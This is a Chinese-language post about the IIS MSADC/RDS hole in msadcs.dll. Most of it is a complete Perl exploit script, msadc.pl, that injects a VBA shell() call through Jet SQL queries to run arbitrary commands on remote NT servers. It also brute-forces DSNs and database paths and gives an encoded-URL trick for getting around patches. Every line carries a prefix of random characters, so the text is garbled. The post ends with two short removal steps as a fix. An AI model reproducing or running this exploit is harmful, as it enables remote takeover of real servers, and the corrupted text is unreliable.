IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=SLCG . = `oGH 涉及程序：
kyu
PN<? Microsoft NT server
+z?SK c H: _R[u4r 描述：
c,_??8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GNab\M. I Jv+si:k 详细：
gkL{]*9&% 如果你没有时间读详细内容的话，就删除:
1cY,)Z%l # c:\Program Files\Common Files\System\Msadc\msadcs.dll
<^fvTb &* 有关的安全问题就没有了。
sH / 08 Z =w 2_1F" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/'Q2TLy= xBg. QV 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
22r$Ri_> 关于利用ODBC远程漏洞的描述，请参看:
;eT+ Ly|{ Or,W2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >j_N6B! 1 JB~G7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
E 9v<VoNP` http://www.microsoft.com/security/bulletins/MS99-025faq.asp GLr7sack (V9 ; 这里不再论述。
b?nORWj C POt 8G 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
o2W^!#]= #D|n6[Y'.t /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
E>Lgf &R#W 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
mk]8}+^. BSHtoD@e7 [LDY;k~5+ #将下面这段保存为txt文件，然后: "perl -x 文件名"
!FH m.E_> c!dc`R #!perl
0*XCAnJ^_ #
<zt124y-6 # MSADC/RDS 'usage' (aka exploit) script
$#/f+kble #
^s_7-p])( # by rain.forest.puppy
`$i/f(t6` #
']DUC u # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
D'<'"kUd # beta test and find errors!
bW^JR, 6gTc)rhRT use Socket; use Getopt::Std;
nD\H$5>5 getopts("e:vd:h:XR", \%args);
ky=h7#wdv- vfloha p print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
pgEDh^[MW qUKSo9 if (!defined $args{h} && !defined $args{R}) {
Q Zv}\C-c print qq~
/[+%<5s Usage: msadc.pl -h <host> { -d <delay> -X -v }
^j]_MiA4 -h <host> = host you want to scan (ip or domain)
9s&Tv&%VN -d <seconds> = delay between calls, default 1 second
Q%n$IQr4gM -X = dump Index Server path table, if available
l'
2C /#8F -v = verbose
tzrvIVD -e = external dictionary file for step 5
ki'CW4x !8OgaMngzF Or a -R will resume a command session
-~v1@ &AP`k
~; exit;}
ndS8p]P&o( /M Z^;XG $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ri;_
8v[H| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{ pk]p~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
) SyU if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W(\ ^6S) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O#?@' 1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
IA680^ 5 %RiM|+ if (!defined $args{R}){ $ret = &has_msadc;
Nx=rw h die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D-4{9[ 'b:e8m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
LsO}a;t5 . "cmd /c ";
( $'5xPb $in=<STDIN>; chomp $in;
RZ P7h>y6@ $command="cmd /c " . $in ;
Kjt\A]R% I'0{Q`} if (defined $args{R}) {&load; exit;}
l;i /$Yu7 )W* A[c
2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#Fz/}lO &try_btcustmr;
M.\V/OX Cf>(,rt}; print "\nStep 2: Trying to make our own DSN...";
I`;SA~5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"NtY[sT{V Eo>EK> print "\nStep 3: Trying known DSNs...";
v-DZW, &known_dsn;
Fs&r ^ [/b 0sI7UK`m print "\nStep 4: Trying known .mdbs...";
FaQc@4%o &known_mdb;
uF+0nv+ _
o.j({S if (defined $args{e}){
3<HZ)w^B print "\nStep 5: Trying dictionary of DSN names...";
4d\V=_);r &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`k`P;(: Y&-%
N print "Sorry Charley...maybe next time?\n";
]i\;#pj} exit;
n&3}F? z]R%'LGu ##############################################################################
Y`rli Q) =LbR{# sub sendraw { # ripped and modded from whisker
L}6!D zl sleep($delay); # it's a DoS on the server! At least on mine...
*USG
p<iH my ($pstr)=@_;
fwNj@fl_,e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0 +F--E4 die("Socket problems\n");
!<?<f
db if(connect(S,pack "SnA4x8",2,80,$target)){
U 1O 8u -X select(S); $|=1;
'OvM print $pstr; my @in=<S>;
!RSJb select(STDOUT); close(S);
45rG\$%# return @in;
t~ |J2*9l } else { die("Can't connect...\n"); }}
sO{TGk]* iFnD`l 6) ##############################################################################
BhhFij4 xZA.<Yd^r sub make_header { # make the HTTP request
es<8"CcP my $msadc=<<EOT
:l&Y q!5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
SG]Sx4fg,Y User-Agent: ACTIVEDATA
ps UT2 Host: $ip
i h-J{1 Content-Length: $clen
jl5&T{z Connection: Keep-Alive
)Z)Gb~G LGK@taw^ ADCClientVersion:01.06
_!,Ees=b Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
L~AU4Q0o "SRS{-p0 --!ADM!ROX!YOUR!WORLD!
a |#TnSk Content-Type: application/x-varg
9{
#5~WP Content-Length: $reqlen
|}b~YHTs 7}vI/? r EOT
-iL:D<!Cb_ ; $msadc=~s/\n/\r\n/g;
<~P!yL r return $msadc;}
:Iuc H %6V OY8P ##############################################################################
S%aup(wu6 :W;eW%Y sub make_req { # make the RDS request
;Y0M]pC my ($switch, $p1, $p2)=@_;
W4UK?#S+ my $req=""; my $t1, $t2, $query, $dsn;
{@6:kkd p6!5}dD( if ($switch==1){ # this is the btcustmr.mdb query
t& Q(8H z $query="Select * from Customers where City=" . make_shell();
<cU%yA710 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Tl2( %qB $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Ec@cW6g(% &gKDw!al elsif ($switch==2){ # this is general make table query
qw1W }+~g $query="create table AZZ (B int, C varchar(10))";
-E~r?\;X $dsn="$p1";}
L9-Jwy2(> 4:-x!lt elsif ($switch==3){ # this is general exploit table query
7ug"SV6Hb $query="select * from AZZ where C=" . make_shell();
|Z)}-'QUJ $dsn="$p1";}
U.X` z3q `][vaLd`Q elsif ($switch==4){ # attempt to hork file info from index server
h ,n}=g+? $query="select path from scope()";
YxrMr9>l1 $dsn="Provider=MSIDXS;";}
` FOCX; 4XAs ^>N+ elsif ($switch==5){ # bad query
"blq)qo) $query="select";
l V$CBS $dsn="$p1";}
t<ZBp0 zc$}4o $t1= make_unicode($query);
iD*Hh-
$t2= make_unicode($dsn);
e9HL)=YP $req = "\x02\x00\x03\x00";
[$; cjys $req.= "\x08\x00" . pack ("S1", length($t1));
v>j,8E $req.= "\x00\x00" . $t1 ;
@Pf9;7,TV $req.= "\x08\x00" . pack ("S1", length($t2));
*@p" $req.= "\x00\x00" . $t2 ;
8d_J9Ho $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
RMiDV^.u` return $req;}
UI"UB ZZ$ 2gh=0%|\gx ##############################################################################
_QEw=*.< ;|0P\ 3 sub make_shell { # this makes the shell() statement
un4fnoc return "'|shell(\"$command\")|'";}
FSm.o?> 7'"qW"< ##############################################################################
ptrwZ8' FvY=!U06 sub make_unicode { # quick little function to convert to unicode
k1oJ<$ Q my ($in)=@_; my $out;
DP0@x+`k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
= pn;b1= return $out;}
~M8 |r!_ zj h:jrv~ ##############################################################################
`a83bF35 T0Xm }i sub rdo_success { # checks for RDO return success (this is kludge)
cc3B}^@p= my (@in) = @_; my $base=content_start(@in);
^2);*X> if($in[$base]=~/multipart\/mixed/){
>KL=(3:":p return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Hqs!L`oW) return 0;}
BGx wPJd ~^jPE) ##############################################################################
q /@+.q $}{[_2 sub make_dsn { # this makes a DSN for us
^ghYi|kQq my @drives=("c","d","e","f");
n~] "sTC}& print "\nMaking DSN: ";
"T{WOGU+ foreach $drive (@drives) {
Km
$o@ print "$drive: ";
}Nd1'BVf my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
>}\s-/ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
>$TvCw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"[!b5f3!I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
v/9DD% An return 0 if $2 eq "404"; # not found/doesn't exist
!Ve0 :$ if($2 eq "200") {
EQ ee5} foreach $line (@results) {
1Acs0` 3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
?'Hd0)yZ } return 0;}
l
_% <U 1O< 6=oH ##############################################################################
]XbMqHGS B{R [z%Y sub verify_exists {
8toOdh my ($page)=@_;
sv?Fx;d my @results=sendraw("GET $page HTTP/1.0\n\n");
%~x?C4L8 return $results[0];}
ah hl C\;l)h_ { ##############################################################################
qFwt^w icIn>i <m sub try_btcustmr {
n@xQ-v my @drives=("c","d","e","f");
nq HpYb6I0 my @dirs=("winnt","winnt35","winnt351","win","windows");
{0w2K82 !u@P\ 8M} foreach $dir (@dirs) {
| T$?vIG[ print "$dir -> "; # fun status so you can see progress
"gJ.mhHX foreach $drive (@drives) {
NIVR;gm print "$drive: "; # ditto
[K$5 Rm5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$8 rnf $reqlenlen=length( "$reqlen" );
IH dA2d?.] $clen= 206 + $reqlenlen + $reqlen;
,|s*g'u bsD A&~ )s my @results=sendraw(make_header() . make_req(1,$drive,$dir));
((+XzV> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
E I(e3 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
n"T ^ )xccs'H ##############################################################################
JJ7A`
; \ c4 jGJ sub odbc_error {
Q5T3 my (@in)=@_; my $base;
vhbHt_!u& my $base = content_start(@in);
3 a.!9R> if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\?
)S { $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`DF49YP"~ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/0H}-i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gmi? xGn return $in[$base+4].$in[$base+5].$in[$base+6];}
.FHk1~\%z^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_wK.n.,S~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
On }1&!{1] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/uX*FZ D$ K'Qk ##############################################################################
#p@GhI!6 6" * <0 sub verbose {
E&zf<Y my ($in)=@_;
#jW -&a return if !$verbose;
#i@f%Bq- print STDOUT "\n$in\n";}
TDDMx |{ Ajm!;LA[jO ##############################################################################
} L S8q :>{!%-1Z sub save {
H^*AaA9- my ($p1, $p2, $p3, $p4)=@_;
#| _VN %! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
m..ajYSQ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Hs '~) T close OUT;}
n H?6o#]N XJ\R'?j ##############################################################################
DOJ yd Yds HTT&T9] sub load {
dhob]8b my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NOQ^HEi open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,M.}Q ak^ @p=<IN>; close(IN);
o& FOp' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
p"p~Bx $target= inet_aton($ip) || die("inet_aton problems");
a%B&F|u print "Resuming to $ip ...";
h8asj0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
wpM2{NTP if($p[1]==1) {
w K-VA$;: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
} 7
o! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4F|79U # my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
xj;:B( i if (rdo_success(@results)){print "Success!\n";}
K<*6E@+i else { print "failed\n"; verbose(odbc_error(@results));}}
{73V?#P4 elsif ($p[1]==3){
F1stRZ1ZI if(run_query("$p[3]")){
"ktuq\a@ print "Success!\n";} else { print "failed\n"; }}
KJ'ID elsif ($p[1]==4){
qx5`lm~L if(run_query($drvst . "$p[3]")){
'G l~P><e print "Success!\n"; } else { print "failed\n"; }}
z1B i#/i exit;}
`^SRg_rH=` P-Y_$Nv0g ##############################################################################
'JMW.;Lh?X yO1
7C sub create_table {
g,._3.D my ($in)=@_;
!92e$GJ} ; $reqlen=length( make_req(2,$in,"") ) - 28;
6/S. sj ~ $reqlenlen=length( "$reqlen" );
oYkd%N9P $clen= 206 + $reqlenlen + $reqlen;
U_"!\lI_yg my @results=sendraw(make_header() . make_req(2,$in,""));
Pj
<U|\-? return 1 if rdo_success(@results);
d j\Z}[ my $temp= odbc_error(@results); verbose($temp);
XYzaSp=bb return 1 if $temp=~/Table 'AZZ' already exists/;
Gn8 sB return 0;}
_GG\SWm AhN3~/u%7 ##############################################################################
V'j+)!w5 d-_V*rYU sub known_dsn {
X ?'cl] 1? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
+_7a/3kh my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
:,0(aB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~r.R|f]IQ "banner", "banners", "ads", "ADCDemo", "ADCTest");
4tZ *%!I' ~ gd#cL% foreach $dSn (@dsns) {
:E.a.- print ".";
!.,wg'\P next if (!is_access("DSN=$dSn"));
Mqd'XU0L if(create_table("DSN=$dSn")){
I@KM2 KMN print "$dSn successful\n";
- j3Lgm if(run_query("DSN=$dSn")){
C K7([>2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H JAiQ[m5s print "Something's borked. Use verbose next time\n";}}} print "\n";}
0qJ ( RB x8rg /y ##############################################################################
=:s`C,l.4 WT ;2aS: sub is_access {
SUUNC06V my ($in)=@_;
r&E gP $reqlen=length( make_req(5,$in,"") ) - 28;
=%7drBo D $reqlenlen=length( "$reqlen" );
MT&aH~Y B $clen= 206 + $reqlenlen + $reqlen;
|X8?B = my @results=sendraw(make_header() . make_req(5,$in,""));
[Jt}^ my $temp= odbc_error(@results);
>4X2uNbZS verbose($temp); return 1 if ($temp=~/Microsoft Access/);
rQimQ| + return 0;}
"sN %S's *,$5EN ##############################################################################
>8(i;)(3 & !CVF sub run_query {
754MQK|g my ($in)=@_;
WY!\^| , $reqlen=length( make_req(3,$in,"") ) - 28;
g{yw&q[B= $reqlenlen=length( "$reqlen" );
TF/NA\0c$ $clen= 206 + $reqlenlen + $reqlen;
U*r54AyP my @results=sendraw(make_header() . make_req(3,$in,""));
7{F\b return 1 if rdo_success(@results);
VC 88re` my $temp= odbc_error(@results); verbose($temp);
$z%(He return 0;}
<t"T'\3 V6][* .i!9 ##############################################################################
0A) 0Zw V8M ()7uJ sub known_mdb {
Gw<D'b) ! my @drives=("c","d","e","f","g");
!l
$d^y345 my @dirs=("winnt","winnt35","winnt351","win","windows");
w{ W+ WJ my $dir, $drive, $mdb;
,- AF8BP my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Czjb.c:a.Y s=n4'`y1 # this is sparse, because I don't know of many
^w^e~0
S my @sysmdbs=( "\\catroot\\icatalog.mdb",
h:8P9WhWF "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+06{5 -, "\\system32\\certmdb.mdb",
:VT%d{Vp_ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9!_,A d;3 !XtG6ON= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#%; Uh "\\cfusion\\cfapps\\forums\\forums_.mdb",
.]vb\NBK7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3 }H{4]*%_ "\\cfusion\\cfapps\\security\\realm_.mdb",
yt IPY7E "\\cfusion\\cfapps\\security\\data\\realm.mdb",
o Vp ZR$ "\\cfusion\\database\\cfexamples.mdb",
MIZdk'.U "\\cfusion\\database\\cfsnippets.mdb",
G]ek-[- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j?N<40z "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Mr )t>4 "\\cfusion\\brighttiger\\database\\cleam.mdb",
f7_( C0d "\\cfusion\\database\\smpolicy.mdb",
?y- ^Fq|h "\\cfusion\\database\cypress.mdb",
k9x[(
# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RTc@`m3 M "\\website\\cgi-win\\dbsample.mdb",
4^W! ,@W "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ku ,wI86 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
dun`/QKV ); #these are just
U*C^g}iA foreach $drive (@drives) {
d0 )725Ia foreach $dir (@dirs){
r /sSkF F foreach $mdb (@sysmdbs) {
GI]\ print ".";
sv=U^xI if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|jiIx5qr print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
rexf#W) if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_Xd"'cXw print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\}jA1oy } else { print "Something's borked. Use verbose next time\n"; }}}}}
A] |w1nq O-V|= t
foreach $drive (@drives) {
DPT6]pl"y foreach $mdb (@mdbs) {
sjyr9AF print ".";
K KB+o)*W if(create_table($drv . $drive . $dir . $mdb)){
6MVu"0# print "\n" . $drive . $dir . $mdb . " successful\n";
sQ}|Lu9hZ if(run_query($drv . $drive . $dir . $mdb)){
3xy2ZYw print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
f5V-; } else { print "Something's borked. Use verbose next time\n"; }}}}
v])ew| }
OE@[a Q7aPW\- ##############################################################################
Jo { :]: y u'-'{% sub hork_idx {
4 Im>2 ) print "\nAttempting to dump Index Server tables...\n";
R&Lqaek&W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
mWv$eR $reqlen=length( make_req(4,"","") ) - 28;
|cU75
S 1 $reqlenlen=length( "$reqlen" );
C<D$Y,[w $clen= 206 + $reqlenlen + $reqlen;
o`iA& my @results=sendraw2(make_header() . make_req(4,"",""));
l5T[ 6C if (rdo_success(@results)){
@}4aF| my $max=@results; my $c; my %d;
P2'N4?2 for($c=19; $c<$max; $c++){
8%,#TMOg $results[$c]=~s/\x00//g;
R/oi6EKv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
j0e,> X8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
kkjugm{D7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2=_$&oT** $d{"$1$2"}="";}
EHC7b^|3} foreach $c (keys %d){ print "$c\n"; }
6B?jc/V.R } else {print "Index server doesn't seem to be installed.\n"; }}
F}}!e.> c #yH+ENp0
##############################################################################
=de'Yy:\- BH0m[9nU; sub dsn_dict {
i#la'ICwJ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
QCb D ^ while(<IN>){
I0+6p8, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
%M
iv8 next if (!is_access("DSN=$dSn"));
CGi;M=xr if(create_table("DSN=$dSn")){
;2C print "$dSn successful\n";
@-sWXz*W if(run_query("DSN=$dSn")){
,>-j Ztm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P P J^;s print "Something's borked. Use verbose next time\n";}}}
p^8a<e?f~f print "\n"; close(IN);}
Xfk
DMh xh2r?K@k> ##############################################################################
,m{R
m 0 i% 1UUI(W sub sendraw2 { # ripped and modded from whisker
{32m&a sleep($delay); # it's a DoS on the server! At least on mine...
!5 } }mf my ($pstr)=@_;
M{ L- V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
lEHx/#qt9 die("Socket problems\n");
*6?mZ*GYY if(connect(S,pack "SnA4x8",2,80,$target)){
(m R)o&Y%, print "Connected. Getting data";
-$:; en? open(OUT,">raw.out"); my @in;
(,h2qP-;ud select(S); $|=1; print $pstr;
w1tM !4r while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
zP44
Xhz close(OUT); select(STDOUT); close(S); return @in;
J9[7AiEd(/ } else { die("Can't connect...\n"); }}
TLsF c^X $9X+dvu* ##############################################################################
6.)ug7aF 1D 'r;`z sub content_start { # this will take in the server headers
2K9X (th1 my (@in)=@_; my $c;
!'N@ZZ for ($c=1;$c<500;$c++) {
m54> } if($in[$c] =~/^\x0d\x0a/){
%>&ex0j] if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
D"pT?\kO else { return $c+1; }}}
#+ch return -1;} # it should never get here actually
#NFB=o JI 94w)Yln ##############################################################################
Q$U5[ TZm (X "J)x aQ sub funky {
\ ivxi<SR my (@in)=@_; my $error=odbc_error(@in);
'V?FeWp if($error=~/ADO could not find the specified provider/){
9qftMDLZJ\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F%6wd M W exit;}
o-@01_ j if($error=~/A Handler is required/){
6bPxEILm print "\nServer has custom handler filters (they most likely are patched)\n";
ye.6tlW exit;}
o ks;G([ if($error=~/specified Handler has denied Access/){
@%,~5{Ir print "\nServer has custom handler filters (they most likely are patched)\n";
on 7
n4 exit;}}
E4% -*n 5f7id7SI ##############################################################################
^t})T*hM0 Oo
:Dt~Ib sub has_msadc {
M[`[+5v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
A&M_ J my $base=content_start(@results);
_3aE]\O[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
A1pr YD return 0;}
s6~;)( r }? _KZ)
########################
SZW_V6 \t> xS 1|t}; Odo )h 解决方案：
@*eY~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
P gA<pfEHE 2、移除web 目录: /msadc
